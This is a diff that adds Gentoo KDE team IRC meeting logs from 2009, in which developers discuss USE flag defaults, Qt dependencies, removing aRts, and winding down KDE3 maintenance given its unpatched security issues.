+[22:41.30] <scarabeus> jmbsvicetto: see above
+[22:41.32] <jmbsvicetto> scarabeus: default use flags allow us to drop most use flags from profiles
+[22:41.33] <spatz> it doesn't affect him at all
+[22:41.34] <scarabeus> jmbsvicetto: the flag is in profile
+[22:41.41] <yngwin> more superfluous than useless
+[22:41.47] <scarabeus> i was damn angry having +qt3support on sever
+[22:41.51] <spatz> yes
+[22:41.53] <scarabeus> so i had to edit useflag list
+[22:41.56] <spatz> bad choice of words
+[22:42.06] <jmbsvicetto> spatz: nothing prevents you from adding -<use> to your /etc/portage/package.use[/*] config file(s)
+[22:42.34] <hwoarang> mm
+[22:42.46] <spatz> of course, but useflags should be opt-in, not opt-out in the general case
+[22:42.48] <jmbsvicetto> scarabeus: yes, but instead of removing default use flags because they're enabled on profiles, we should be dropping use flags from profiles and moving them to default use flags
+[22:43.03] <yngwin> so let's drop the + on the useflags that are already in profiles
+[22:43.11] <hwoarang> +1
+[22:43.12] <spatz> that would be a good start
+[22:43.13] <scarabeus> jmbsvicetto: really? why?
+[22:43.15] <yngwin> and rename gtkstyle to gtk
+[22:43.24] *** Kame2 (n=manuel@port-92-196-126-246.dynamic.qsc.de) Quit (Remote closed the connection)
+[22:43.36] <jmbsvicetto> because that would prevent users from getting all the crap they get from profiles with ton of use flags like qt, kde, gtk or gnome
+[22:43.45] <jmbsvicetto> tons*
+[22:43.46] <scarabeus> jmbsvicetto: i really like that i have different useflags on case like server/desktop based on profile
+[22:44.01] <scarabeus> and for the qt it really made me sad
+[22:44.02] <jmbsvicetto> yeah, but desktop profiles currently have too many use flags
+[22:44.25] <spatz> maybe the desktop profile needs to be split, but that's out of scope
+[22:44.28] <jmbsvicetto> scarabeus: the first thing I add to my servers is USE="-X -gtk -gnome -kde -qt" ;)
+[22:44.39] <scarabeus> yeah yeah but i need qt on mine server
+[22:44.40] <yngwin> maybe desktop profile should be divided into subprofiles
+[22:44.43] <scarabeus> quassel ;\
+[22:44.45] <scarabeus> ;]
+[22:45.10] <yngwin> so?
+[22:45.10] <jmbsvicetto> No, I don't think it's out of scope. Instead of spliting profiles or moving flags from packages to profiles, I think we should be going the other way around and dropping use flags from profiles back to packages
+[22:45.16] <spatz> and you shouldn't use the desktop profile on your server :)
+[22:45.19] <yngwin> you can still have quassel with -qt
+[22:45.42] <scarabeus> jmbsvicetto: mail the idea to the -dev :]
+[22:45.42] <spatz> per profile is more appropriate than per package
+[22:45.45] <jmbsvicetto> spatz: I don't use the desktop profile on my workstations ;)
+[22:45.45] <yngwin> jmbsvicetto: well, that's stuff for a wider policy discussion
+[22:45.51] <spatz> that was also agreed last week on -dev, iirc
+[22:45.56] <jmbsvicetto> yngwin: indeed
+[22:46.08] <spatz> that's what i meant by "out of scope"
+[22:46.16] *** scarabeus sets mode: +v wired|quassel
+[22:47.07] <jmbsvicetto> Anyway, I think kde should retain default use flags for most optional support features that upstream enables by default
+[22:47.26] <yngwin> well, i dont have a string preference here, but it looks like my qt brothers do
+[22:47.32] <yngwin> strong*
+[22:48.10] <spatz> http://archives.gentoo.org/gentoo-dev/msg_d676d199747afac881bbf444dac478ea.xml
+[22:48.48] <scarabeus> ok lets continue this topic there
+[22:48.56] <scarabeus> rather on the meeting :]
+[22:49.16] <scarabeus> wired: are you around?
+[22:49.25] <wired> yes
+[22:49.33] * bonsaikitten gone
+[22:49.34] *** geo27 (n=quassel@lns-bzn-30-82-253-130-209.adsl.proxad.net) Quit (Remote closed the connection)
+[22:49.36] <reavertm> jmbsvicetto: upstream enabled by default everything that's autodetected
+[22:49.39] <scarabeus> wired: did you tracked the tampakrap what he is doing with kde3?
+[22:49.48] <reavertm> hence, it's bad approach imho
+[22:49.50] <wired> only the eclass part
+[22:49.53] <scarabeus> ah
+[22:49.59] <wired> scarabeus: btw i talked to him a few minutes ago
+[22:50.04] *** geo27 (n=quassel@lns-bzn-30-82-253-130-209.adsl.proxad.net) has joined #gentoo-kde
+[22:50.05] <scarabeus> where is he
+[22:50.10] <wired> he missed the meeting because he was traveling to athens
+[22:50.19] <scarabeus> and can he get online now?
+[22:50.24] <scarabeus> only to give us status info?
+[22:50.32] <scarabeus>  /report
+[22:50.33] <wired> hmm
+[22:50.39] <wired> let me call him and ask
+[22:50.42] <wired> 1min
+[22:50.51] <spatz> yngwin: so let's do what you decided and check back in while
+[22:51.27] <jmbsvicetto> reavertm: They don't autoenable everything
+[22:51.31] <scarabeus> jmbsvicetto: they do
+[22:51.36] <spatz> gtkstyle->gtk, remove default on all flags enabled in desktop profile
+[22:51.37] <wired> scarabeus: he'll be in here in 15m
+[22:51.38] <scarabeus> jmbsvicetto: if they detect package, they enable it
+[22:51.44] <jmbsvicetto> reavertm: For instance kopete doesn't enable by default all protocols and plugins
+[22:51.47] <yngwin> do we change them now or on next release?
+[22:51.56] <reavertm> there are some exceptions, yes
+[22:51.59] *** mrpouet (n=mrpouet@gentoo/developer/mrpouet) Quit (Client Quit)
+[22:52.00] <scarabeus> ok guys how much you want to read last topic
+[22:52.19] <wired> scarabeus: ok? =]
+[22:52.33] <scarabeus> wired: well it depends on others
+[22:52.41] <scarabeus> i cant hold them here for another 20 minutes ;]
+[22:52.45] <spatz> yngwin: would that require re-stabilizing?
+[22:52.46] <scarabeus> the meeting already lasts 2 hours
+[22:53.02] <yngwin> hmm, good question
+[22:53.03] <scarabeus> spatz: nope, archies are supposed to test various use flags
+[22:53.13] <jmbsvicetto> wired: he can login when he can and put a short status message here
+[22:53.21] <yngwin> so i guess not :)
+[22:53.29] <spatz> if not than we should do it now, imo
+[22:53.36] <spatz> otherwise we'll forget :)
+[22:53.37] *** hkBst (n=hkBst@gentoo/developer/hkbst) Quit (Read error: 104 (Connection reset by peer))
+[22:53.40] *** himikof_ (n=himikof@129.167.249.ozerki.net) Quit (Remote closed the connection)
+[22:53.55] <Pesa> 4.5.2 shouldn't be too far
+[22:53.58] *** NSaibot (n=quassel@dslb-094-217-110-040.pools.arcor-ip.net) has joined #gentoo-kde
+[22:53.58] <yngwin> in that case we can also drop custom-cxxflags useflag as we decided before
+[22:54.02] <jmbsvicetto> yngwin: it can change the installed package, so it should go through the revbump process
+[22:54.20] <yngwin> ok
+[22:54.23] <Pesa> then wait for 4.5.2
+[22:54.31] <yngwin> i agree
+[22:54.37] <spatz> for everything or just custom-cxxflags?
+[22:54.42] <yngwin> everything
+[22:54.42] <Pesa> everything
+[22:54.55] <spatz> ok
+[22:55.27] <yngwin> of course we can already do it in the overlay, where applicable
+[22:55.29] <spatz> next topic?
+[22:55.43] *** bearsh (n=quassel@80-219-1-239.dclient.hispeed.ch) Quit (Remote closed the connection)
+[22:55.45] <spatz> btw, what about libX11 dep in qt-core?
+[22:56.02] <yngwin> that's good to go into the tree
+[22:56.20] <Pesa> should we do the same for qt-dbus?
+[22:56.21] <spatz> those deps should be added to qt-gui and friends, no?
+[22:56.35] <yngwin> ah good call
+[22:56.35] <spatz> Pesa: it works for me
+[22:56.48] <yngwin> can you commit to overlay?
+[22:56.53] <spatz> those that do depend on libX11 and libXext should get it
+[22:57.16] <yngwin> make sure all modules are ok and checked for those
+[22:57.34] *** himikof_ (n=himikof@129.167.249.ozerki.net) has joined #gentoo-kde
+[22:57.35] *** DeSoVoDaMu (n=deso@77-21-66-33-dynip.superkabel.de) Quit (Read error: 113 (No route to host))
+[22:58.03] <spatz> i might not have time to do it in the overlay because of my exams :/
+[22:58.10] <yngwin> so we need to revbump those packages anyway
+[22:58.54] <yngwin> then we might as well do the useflag change, unless 4.5.2 is released very soon
+[22:59.04] <Pesa> right
+[22:59.18] <spatz> ok, great
+[22:59.55] *** papillon81 (n=papillon@f053145102.adsl.alicedsl.de) has joined #gentoo-kde
+[23:00.05] <yngwin> scarabeus: shall we close the meeting then?
+[23:00.06] *** scarabeus sets mode: +v papillon81
+[23:00.18] <scarabeus> well we can wait 8 minutes and tampy will be here
+[23:00.23] <scarabeus> it is up to you
+[23:00.31] <yngwin> you forget he's greek
+[23:00.42] <spatz> for what topic? (i forgot)
+[23:00.43] <scarabeus> what does it mean
+[23:00.51] <scarabeus> Progress of kde3 mess and way how anyone can help (here we call even for non-kdeteam devs)
+[23:00.52] <yngwin> 8 minutes could mean anything
+[23:01.23] *** scarabeus sets mode: +v wohnout
+[23:01.33] *** Gabrys (n=Gabrys@77-254-190-150.adsl.inetia.pl) has joined #gentoo-kde
+[23:02.02] <scarabeus> wired: ok tell him not to rush, and he will have to sent us the mail onto the kde@ and qt@ alliases or onto -desktop
+[23:02.24] <scarabeus> ok i hereby close the meeting
+[23:02.30] <scarabeus> and btw someone create log
+[23:02.30] <wired> well he should be here shortly, but ok :)
+[23:02.36] *** scarabeus sets mode: -m
+[23:02.55] <tampakrap_> i'm here
+[23:02.57] <scarabeus> aghr
+[23:02.59] *** tampakrap_ is now known as tampakrap
+[23:03.02] <scarabeus> you are joking :D
+[23:03.04] <yngwin> lol
+[23:03.05] *** scarabeus sets mode: +m
+[23:03.06] <tampakrap> no i am here
+[23:03.15] <yngwin> welcome :)
+[23:03.15] <scarabeus> yeah i see :]
+[23:03.16] <scarabeus> ok
+[23:03.33] <scarabeus> welcome indeed
+[23:03.34] <tampakrap> what's the deal
+[23:03.36] <tampakrap> ?
+[23:03.41] <wired> lol
+[23:03.48] <yngwin> kde3
+[23:03.54] <scarabeus> we want to know
+[23:03.59] <spatz> <scarabeus> Progress of kde3 mess and way how anyone can help (here we call even for non-kdeteam devs)
+[23:04.00] <scarabeus> state/progress what is to be done
+[23:04.02] <scarabeus> what is done
+[23:04.16] <tampakrap> ok
+[23:04.31] <tampakrap> kde3 misc apps need slotmove and stabilization this will take some time
+[23:04.34] <tampakrap> as i have no help
+[23:04.35] <jmbsvicetto> yngwin: hehe
+[23:04.39] <jmbsvicetto> Heya Theo
+[23:04.44] <tampakrap> koffice is my playground, i'll fix eclass
+[23:04.47] <scarabeus> tampakrap: hey i did about 5-10 apps
+[23:04.51] <tampakrap> *hello hello*
+[23:05.00] <tampakrap> not the stabilization part though
+[23:05.07] <tampakrap> so i still have to take care of the list
+[23:05.13] <tampakrap> and kde-base/*3.5.10*
+[23:05.20] <tampakrap> has many *stupid* bugs
+[23:05.22] <scarabeus> tampakrap: i would suggest to switch all misc apps
+[23:05.25] <tampakrap> that i have no motivation to fix
+[23:05.26] <scarabeus> and then open 1 stable bug
+[23:05.33] <tampakrap> this can't be done
+[23:05.40] <tampakrap> they don't have the same keywords
+[23:05.40] <scarabeus> why not
+[23:05.44] <scarabeus> no problem
+[23:05.45] <tampakrap> and it is against the rules :)
+[23:05.48] <scarabeus> just make list for each arch
+[23:06.02] <scarabeus> we do it in X when we stable all the stuff
+[23:06.09] <tampakrap> this isn't easier for me
+[23:06.13] <scarabeus> okey
+[23:06.16] <scarabeus> as pleases you
+[23:06.19] <scarabeus> since you do the work
+[23:06.20] <tampakrap> i slotmove package, check bugs and open bug
+[23:06.34] <tampakrap> anything else?
+[23:06.41] <tampakrap> what did you say about the stabilization?
+[23:06.44] <tampakrap> of kde4
+[23:06.55] <scarabeus> KDE 4 Stabilisation.
+[23:06.55] <scarabeus> - Jorge decided to start with 4.2 stabilisation.
+[23:06.55] <scarabeus> - stabilisation bug will have to be opened
+[23:06.55] <scarabeus> - tracking bug will have to be opened and bugs wrangled (volunteers??)
+[23:06.59] <scarabeus> this is summary
+[23:07.08] <tampakrap> ok
+[23:07.11] <tampakrap> we need tracker again
+[23:07.18] <scarabeus> ah how about asking for help with kde3 misc stuff on -dev
+[23:07.25] *** Skim[ihz] (n=skim@skim.static.corbina.ru) Quit (Client Quit)
+[23:07.26] <tampakrap> i volunteer with bug wrangling
+[23:07.37] <scarabeus> ssuominen did probably great job with removing arts usefla
+[23:07.38] <scarabeus> g
+[23:07.44] <scarabeus> how is its progress
+[23:07.49] *** scarabeus sets mode: +v ssuominen
+[23:07.59] <tampakrap> well we can say that kde3 is *open* for anyone
+[23:08.09] <ssuominen> media-sound cat. is clear of all arts deps
+[23:08.10] <scarabeus> !rdep arts
+[23:08.10] <Willikins> scarabeus: Too many packages have reverse RDEPEND on kde-base/arts, go to http://tinderbox.dev.gentoo.org/misc/rindex/kde-base/arts instead.
+[23:08.14] <ssuominen> media-libs half way
+[23:08.14] <tampakrap> not for maintaining but for random bugfixing
+[23:08.16] *** [Enrico] (n=chiccoro@host224-36-dynamic.16-79-r.retail.telecomitalia.it) Quit (Read error: 104 (Connection reset by peer))
+[23:08.21] <ssuominen> media-video undone
+[23:08.31] <scarabeus> 785 packages
+[23:08.34] * scarabeus is sad
+[23:08.41] <ssuominen> the media-sound apps left on the list are masked for removal or similar
+[23:08.43] <ssuominen> yeah
+[23:08.51] *** g1lt (n=quassel@203-79-94-158.cable.telstraclear.net) has joined #gentoo-kde
+[23:08.52] <scarabeus> just set allways arts never when there is optional in ebuild in eclass?
+[23:08.56] <scarabeus> that might close few?
+[23:08.57] <ssuominen> there's lots to be done, i can handle it by opening some bugs for teams
+[23:09.05] <ssuominen> to speed it up
+[23:09.20] <ssuominen> did similar when i killed gtk+-1.2 from 50%+ pkgs the another summer
+[23:09.24] <ssuominen> :P
+[23:09.32] <wohnout> death to arts
+[23:10.09] <ssuominen> can we quick vote on "let's remove arts from use defaults immediately?"
+[23:10.12] <ssuominen> ;)
+[23:10.19] <scarabeus> ssuominen: voted allowed already
+[23:10.21] <scarabeus> just do it
+[23:10.24] * ssuominen does
+[23:10.35] <scarabeus> ssuominen: will you be our asignee for arts thing? you seems to enjoy it ;}
+[23:11.49] <ssuominen> don't mind handling it so why not
+[23:11.56] <scarabeus> okey
+[23:12.04] <scarabeus> i will sent you the eclass update then
+[23:12.08] <scarabeus> for arts removal
+[23:12.18] <scarabeus> btw how much packages probably has arts HARDDEP?
+[23:12.21] <scarabeus> can it be found out?
+[23:12.22] <ssuominen> over the half way, there will always be a maintainer or two who attacks you for removings on false grounds (hit few of those on the gtk+-1.2 road)
+[23:13.04] <scarabeus> you see how much it hurts mine heart? ;]
+[23:13.05] <ssuominen> well in media-sound i've fixed about 50% pkgs to not dep on arts anymore
+[23:13.08] <scarabeus> so painfull ;]
+[23:13.10] <ssuominen> it was totally false
+[23:13.29] <scarabeus> well they can state it to us, probably anouncal on -dev might be good
+[23:13.30] <ssuominen> and removed about the optional dep on 25% and remaining 25% got punted
+[23:14.13] <ssuominen> but i guess there's no hurry
+[23:14.21] <ssuominen> but giving it a small boost won't hurt
+[23:14.23] <ssuominen> ;)
+[23:14.24] <tampakrap> yes
+[23:14.26] <scarabeus> :]
+[23:14.48] *** mikkoc (n=mikko@host161-90-dynamic.0-87-r.retail.telecomitalia.it) Quit (Remote closed the connection)
+[23:14.52] *** Devrethman (n=quassel@209.90.234.102) has joined #gentoo-kde
+[23:15.29] <scarabeus> anything else we have for kde3?
+[23:15.37] *** YaCK (n=brayan@unaffiliated/yack) Quit (Client Quit)
+[23:15.38] <tampakrap> kill it?
+[23:15.48] *** geo27 (n=quassel@lns-bzn-30-82-253-130-209.adsl.proxad.net) Quit (Remote closed the connection)
+[23:16.13] <tampakrap> look ppl i told you i have no motivation in this thing any more, what i did was to make sure it can work with kde4
+[23:16.29] <scarabeus> tampakrap: ok we should recruit someone for that
+[23:16.41] <tampakrap> since this thing works, we have to tell ppl *asap* that we have no motivation for maintaining it any more
+[23:16.43] <scarabeus> tampakrap: i really agree that you dont have to push it so hard forward if you dont have the motivation
+[23:16.49] <tampakrap> it started not to compile you know :)
+[23:17.02] <jmbsvicetto> And to have security issues!
+[23:17.04] <scarabeus> tampakrap: open the requirement on the stuffing needs
+[23:17.18] <jmbsvicetto> scarabeus: nope, add it to our project page
+[23:17.19] <tampakrap> no, no, kde3 doesn't need maintainer
+[23:17.25] <reavertm> it would be best to have it handled by some dev determined to stay with kde3
+[23:17.29] <tampakrap> just various bugfixing by ppl who use it
+[23:17.43] <scarabeus> yeah somebody determined using it would be nice
+[23:17.43] <reavertm> at least in kde team there is none...
+[23:17.49] <reavertm> :)
+[23:17.52] <scarabeus> well carlo...
+[23:17.58] <scarabeus> last seen on february
+[23:18.09] <scarabeus> when he broke quite few packages with wrong eapi2 bump
+[23:18.45] <reavertm> well, nobody is as experienced in eapi2 bumps like we are :P
+[23:18.49] <scarabeus> so we reaaaally need someone
+[23:18.52] <scarabeus> reavertm: yeah :D
+[23:18.57] <scarabeus> we are masters :D
+[23:19.07] *** Skim[ihz] (n=skim@skim.static.corbina.ru) has joined #gentoo-kde
+[23:19.21] <yngwin> sping is interested
+[23:19.40] <scarabeus> who is sping
+[23:19.44] <scarabeus> where is sping
+[23:19.51] <scarabeus> give us sping!
+[23:19.53] <tampakrap> jmbsvicetto: will you use your hat and send an email to -dev plz?
+[23:19.59] <yngwin> sebastian ping, currently doing GSoC
+[23:20.02] <reavertm> scarabeus: just drop 'packages up for grab' list on gentoo-dev with `200 kde3 ebuilds that kde team doesn't care about anymore :D
+[23:20.07] *** sean345 (n=sean345@c-76-105-5-254.hsd1.ca.comcast.net) has joined #gentoo-kde
+[23:20.10] *** BCMM (n=bcmm@unaffiliated/bcmm) has joined #gentoo-kde
+[23:20.16] <scarabeus> rofl
+[23:20.21] <scarabeus> jmbsvicetto: could we do it?
+[23:20.22] <scarabeus> :DDDDDD
+[23:20.27] <yngwin> pipping*
+[23:20.38] *** Varox (n=Varox@p4FD46B43.dip.t-dialin.net) has joined #gentoo-kde
+[23:20.38] <yngwin> the PackageMap guy
+[23:20.48] <scarabeus> oh i see
+[23:20.54] <scarabeus> and is he on irc from time to time?
+[23:21.07] <yngwin> yes
+[23:21.12] <scarabeus> but i assume he is uberbusy with gsoc on the other hand
+[23:21.17] <yngwin> yes
+[23:21.30] <yngwin> he will return to recruitment after gsoc
+[23:22.17] <jmbsvicetto> tampakrap: about kde3? ok
+[23:22.39] <scarabeus> jmbsvicetto: wait for summary i have 2 mails for you probably :D
+[23:22.39] <jmbsvicetto> scarabeus / reavertm: no :\
+[23:23.02] <scarabeus> ok we are probably done about the topic for now, at least until gsoc is over
+[23:23.05] <jmbsvicetto> no (no we can't drop kde3 on maintainer-needed)
+[23:23.17] <reavertm> that was joke :)
+[23:23.31] <tampakrap> i can supervise the commits
+[23:23.34] <scarabeus> jmbsvicetto: it was really joke :]
+[23:23.41] *** spatz (n=spatz@unaffiliated/spatz) Quit (Remote closed the connection)
+[23:23.44] <tampakrap> but for bugfixing i doubt it
+[23:23.57] <scarabeus> ok i anounce the meeting over then :]
diff --git a/xml/htdocs/proj/en/desktop/kde/meeting-logs/kde-project-meeting-log-20090820.txt b/xml/htdocs/proj/en/desktop/kde/meeting-logs/kde-project-meeting-log-20090820.txt
new file mode 100644
index 00000000..ad6bf173
--- /dev/null
+++ b/xml/htdocs/proj/en/desktop/kde/meeting-logs/kde-project-meeting-log-20090820.txt
@@ -0,0 +1,545 @@
+[20:55:28] <scarabeus> 57 secs
+[20:55:40] <wired> =]
+[20:56:45] <scarabeus> okey
+[20:56:50] <scarabeus> i guess we will have to wait
+[20:57:05] <scarabeus> since 3 devs; 2 hts and 2 exherbos are not exactly desired combo
+[20:57:18] <reavertm> I'm here
+[20:57:19] <wired> lol
+[20:58:00] --> bonsaikitten (i=quassel@gentoo/developer/bonsaikitten) has joined #gentoo-meetings
+[20:58:02] --> dagger (n=quassel@gentoo/developer/dagger) has joined #gentoo-meetings
+[20:58:12] <wired> that helped... a bit :)
+[20:58:23] --> yngwin (n=yngwin@gentoo/developer/yngwin) has joined #gentoo-meetings
+[20:58:25] --> Ingmar (i=ingmar@exherbo/developer/ingmar) has joined #gentoo-meetings
+[20:58:33] --> ayoy (n=ayoy@cs78245237.pp.htv.fi) has joined #gentoo-meetings
+[20:58:43] <yngwin> here
+[20:59:10] <scarabeus> ok
+[20:59:14] <scarabeus> looks better :]
+[20:59:19] <scarabeus> so  for the tampakrap
+[20:59:21] <scarabeus> http://www.pastebin.cz/b594e8e991906a
+[20:59:30] <scarabeus> i count him as excuses due to personal matters
+[20:59:41] --> Gentoochild (n=bla@vpn5.rz.tu-ilmenau.de) has joined #gentoo-meetings
+[20:59:43] <scarabeus> please read the above paste
+[20:59:50] <yngwin> pesa has no internet currently
+[21:00:35] <yngwin> and ayoy is being grilled by his recruiter
+[21:01:03] <scarabeus> ok
+[21:01:16] <scarabeus> anyone said that he will be late?
+[21:01:32] <scarabeus> otherwise i just wrote up our roll-call, i count everyone whom joined as here
+[21:01:34] <yngwin> not that i know
+[21:01:42] <yngwin> ok
+[21:02:08] <scarabeus> ok so i would say lets start with topic 1
+[21:02:12] <yngwin> i'm having a headache, so i'd like to keep this short on my end
+[21:02:37] <scarabeus> for that i count as relevant tampakraps opinion, and reavertm's they are the last one working on it
+[21:02:51] <scarabeus> so since tampakrap said it in mail i would ask reavertm if he has something to add
+[21:02:52] <jmbsvicetto> scarabeus: I'll talk to tampakrap, but 2 things about the KDE3 overlay
+[21:03:07] <jmbsvicetto> scarabeus: 1. Let's call it kde-junk, kde-sunset, or something like that.
+[21:03:27] <scarabeus> jmbsvicetto: no problem i have all powers about gitosis
+[21:03:36] <jmbsvicetto> scarabeus: 2. We can't drop any ebuilds from the tree before at least the end of the year
+[21:03:37] <scarabeus> just sent me after decided name
+[21:03:51] <scarabeus> with 2 i agree
+[21:03:56] <jmbsvicetto> The reason is that we shouldn't tie an overlay to a specific kde version
+[21:03:57] <scarabeus> i would start it after 4.4
+[21:04:01] <scarabeus> if nothing evil happen
+[21:04:17] <jmbsvicetto> At least not before we get 2 KDE4 minor versions marked stable
+[21:04:22] <bonsaikitten> I is here, mostly :)
+[21:04:38] <jmbsvicetto> So if we got 4.2 and 4.3 marked stable, then we could consider dropping 3.5 from the tree
+[21:04:38] <wired> we'll probably need an announcement and a news item and any other possible means of communication to alert current kde3 users that they have to add the overlay if they want kde3
+[21:04:59] <wired> a few months before we remove it
+[21:05:04] <scarabeus> that is simple news item
+[21:05:13] <scarabeus> ad it can go hand in hand with mask :]
+[21:05:23] <scarabeus> i think 3 month mask for this is good idea :]
+[21:05:26] <dagger> I think we should make such news after first kde4 goes stable
+[21:05:32] <wired> its simple but it can also be devastating if we forget :p
+[21:05:44] <scarabeus> and before i forget "DID ANYONE FIND SOME CONTRIBUTORS?"
+[21:06:10] <reavertm> I suppose we'll find some gentoo devs still with 3.5
+[21:06:13] <yngwin> iirc sping showed some interest before the summer
+[21:06:37] <yngwin> he's resuming recruitment process now
+[21:07:00] <scarabeus> will you talk to him and find out?
+[21:07:07] <scarabeus> *mind
+[21:07:08] <yngwin> i can yes
+[21:07:28] <Ronis_BR> I don't know if my opinion counts, but I really agree to dagger, you should announce that even befor kde4 is marked as stable. It may be very painful for some users to make the change.
+[21:07:49] <scarabeus> he has point ^
+[21:08:16] <reavertm> scarabeus: kde3 packages moved to overlay won't be subject of package.mask, will they?
+[21:08:17] <dagger> some people dont like kde4 and we wont change it. We just need to make sure they've got enough time to get use to overlay
+[21:08:28] <reavertm> (they shouldn't imho)
+[21:08:29] <wired> we just need to make sure that people will have the overlay added before we remove the ebuilds
+[21:08:32] <scarabeus> reavertm: wont
+[21:08:39] <wired> and i agree we reavertm we shouldnt mask it
+[21:08:40] <ABCD> I would suggest announcing loudly and often, in many venues so that (hopefully) very few users are taken by suprise
+[21:08:41] <reavertm> (just have keywords dropped probably)
+[21:08:44] <yngwin> and it needs to be stable before it is marked stable
+[21:08:46] <jmbsvicetto> scarabeus: news item, planet blog entries, forums thread, front page announcement, ... ;)
+[21:09:04] <dagger> jmbsvicetto: sounds good
+[21:09:40] <scarabeus> jmbsvicetto: can you do it, please please our PR farry
+[21:10:22] <yngwin> i'd wait with too widespread announcements until there is a stable candidate
+[21:10:45] <reavertm> indeed
+[21:11:00] <scarabeus> well i was not saying NOW i mean when the time will come
+[21:11:04] <reavertm> (which movesus towards second topic)
+[21:11:04] <dagger> that moves us to point no 2
+[21:11:25] <scarabeus> wait a bit, i have one problem with kde3
+[21:11:44] <scarabeus> i have seen that debian ship more patches marked as security for kde3 than we even have as bugs
+[21:11:55] --> ahf (i=ahf@irssi/staff/ahf) has joined #gentoo-meetings
+[21:12:14] <yngwin> we need people now to start maintaining kde3
+[21:12:49] <scarabeus> or mask it right after we stable first kde4, dont say remove just mask for sec-issues
+[21:13:17] <dagger> kde3 is dead end. I think we need to decide how long are we going to maintain it
+[21:13:26] <yngwin> users wont be happy, but i have to agree
+[21:14:04] <reavertm> I'd suggest faster gentoo stable releases so that we can keep up with stable version being the one actually yet supported by upstream
+[21:14:08] <scarabeus> i think we can write some news item onto the homepage/spread as news
+[21:14:20] <scarabeus> and if noone will volunteer to work on it in 7 days...
+[21:14:22] <reavertm> for example 4.2 branch is no longer mainataned...
+[21:14:26] <jmbsvicetto> scarabeus: ok
+[21:14:30] <jmbsvicetto> scarabeus: About the news
+[21:14:48] <yngwin> i agree, we need to recruit kde3 maintainers immediately
+[21:14:49] --> tampakrap (n=tuxicity@gentoo/developer/tampakrap) has joined #gentoo-meetings
+[21:15:04] <scarabeus> tampakrap: you, here, how, why
+[21:15:11] <dagger> go home!
+[21:15:14] <tampakrap> just for logs bye
+[21:15:14] <jmbsvicetto> reavertm: What do you mean about the package.mask? Do you mean masking KDE3 ebuilds now or after they're moved to the overlay?
+[21:15:16] <dagger> ^^
+[21:15:58] <scarabeus> jmbsvicetto: he was worried if we would keep the mask in tree after we move it to the overlay, which is NO
+[21:16:13] <reavertm> what scarab said
+[21:16:19] <yngwin> if we mask it, we might as well move it
+[21:16:40] <jmbsvicetto> scarabeus / reavertm: I see and I agree with you - no
+[21:16:55] <scarabeus> no, users sometimes hate overlays, unmasking is simple
+[21:17:00] <scarabeus> or we actualy can let them decide
+[21:17:10] <jmbsvicetto> But we shouldn't mask it until some time after we get KDE-4 marked stable
+[21:17:14] <scarabeus> i would start with the anouncing call for maintainers on homepage and on all pcs
+[21:17:27] <scarabeus> then we will know if someone cares
+[21:17:32] <scarabeus> we can recruit the peeps
+[21:17:35] <scarabeus> we have the powah
+[21:17:37] <scarabeus> :]
+[21:17:37] <jmbsvicetto> I'm sorry, but half my brain is being pulled to #gentoo-userrel
+[21:17:55] <scarabeus> jmbsvicetto: yes that we mentioned too, after at least 1 kde4 stabled
+[21:18:48] <yngwin> but if there are security issues that nobody is fixing, we may need to mask earlier
+[21:19:04] <scarabeus> jmbsvicetto: anouncement on homepage and as newsitem if noone reply in timely manner (week) then after
+[21:19:04] <scarabeus> kde4 is stabilised we will right away mask it as security threat. then it will live until
+[21:19:04] <scarabeus> kde4.4 but masked/or in overlay (to be decided).
+[21:19:16] <scarabeus> this is my braindead summary
+[21:19:51] <reavertm> agreed
+[21:19:55] <dagger> I would say make kde4.a stable, than make kde4.b stable and mask kde3
+[21:20:23] <dagger> unless critical bugs will force us to make it earlier
+[21:20:30] <scarabeus> dagger: there must be security ones
+[21:20:32] <dagger> mask*
+[21:20:49] <scarabeus> just browse debian patches
+[21:20:51] <Gentoochild> another thing to consider when ditching KDE3 is whether all kde3 apps are available for kde4 (like k3b)
+[21:21:06] <dagger> k3b for kde4 works perfectly
+[21:21:10] <scarabeus> Gentoochild: security has privilege
+[21:21:13] <Gentoochild> (was jsut an exampolke)
+[21:21:14] <reavertm> dagger: not really
+[21:21:14] <yngwin> mythtv seems to be a problem
+[21:21:30] <reavertm> I wonder whether leaving kdelibs:3.5 + some apps would be a problem
+[21:21:32] <dagger> reavertm: I'm using it 2-3 times a week for cd dvd5/9 - all fine
+[21:21:43] <wired> reavertm thats what i was thinking as well
+[21:22:00] <wired> maybe we can leave kdelibs3 and a few apps around for a little longer (like +6 months)
+[21:22:10] <jmbsvicetto> yngwin: I wouldn't mask it, but after we get one KDE4 version marked stable, we should start warning users *publicly* to the status of KDE3 security
+[21:22:13] <reavertm> dagger: try writing udf image wth verify - it will lock on 50% on disk eject, but that's off topic
+[21:22:29] <reavertm> jmbsvicetto: what are those security issue? khtml?
+[21:22:37] <jmbsvicetto> yngwin: If that upsets upstream, I don't care. Maybe it might lead someone to start fixing issues
+[21:22:41] <scarabeus> reavertm: khtml as starters
+[21:22:42] <yngwin> jmbsvicetto: no it's very simple: if there are security issues they need to be fixed or the affected packages masked
+[21:22:47] <scarabeus> there was some more in kdelibs and parts
+[21:22:56] <scarabeus> simple tracking debian can work
+[21:22:57] <reavertm> maybe it's easier just to dump kde desktop (along with affected apps) and leave kdelibs + some apps that are known to work
+[21:22:59] <scarabeus> but we need that maintainer
+[21:23:23] <Ronis_BR> I use Kile very often, and the kde4 version of if is far far away to be usable...
+[21:23:35] --> ABCD_ (n=ABCD@gentoo/contributor/abcd) has joined #gentoo-meetings
+[21:23:53] <jmbsvicetto> yngwin: As a Gentoo policy, you're right. But in that case we should probably have masked KDE-3 a few months ago
+[21:24:03] <yngwin> yes
+[21:24:11] <scarabeus> jmbsvicetto: yes but now we will have stable replacement
+[21:24:14] <yngwin> so let's try to make things right asap
+[21:24:29] <-- ABCD (n=ABCD@gentoo/contributor/abcd) has quit (Nick collision from services.)
+[21:24:32] <scarabeus> i would say wait with this decision we can wait for the anouncement and proceed if noone appears
+[21:24:33] <ABCD_> could someone PM me the logs from "<scarabeus> this is my braindead summary" through my re-joining?
+[21:24:48] <-> ABCD_ is now known as ABCD
+[21:24:50] <reavertm> I suppose masking the only stable kde release is not an option so please make sure we have one left :P
+[21:25:08] <wired> sure hold on
+[21:25:45] <yngwin> reavertm: if no maintainers step up, that is currently our only option
+[21:26:38] <jmbsvicetto> yngwin: ok
+[21:26:48] <reavertm> then we should do as scarabeus said
+[21:27:07] <dagger> can we make a poll on forums, to see how many users still use kde3 and how many moved to kde4?
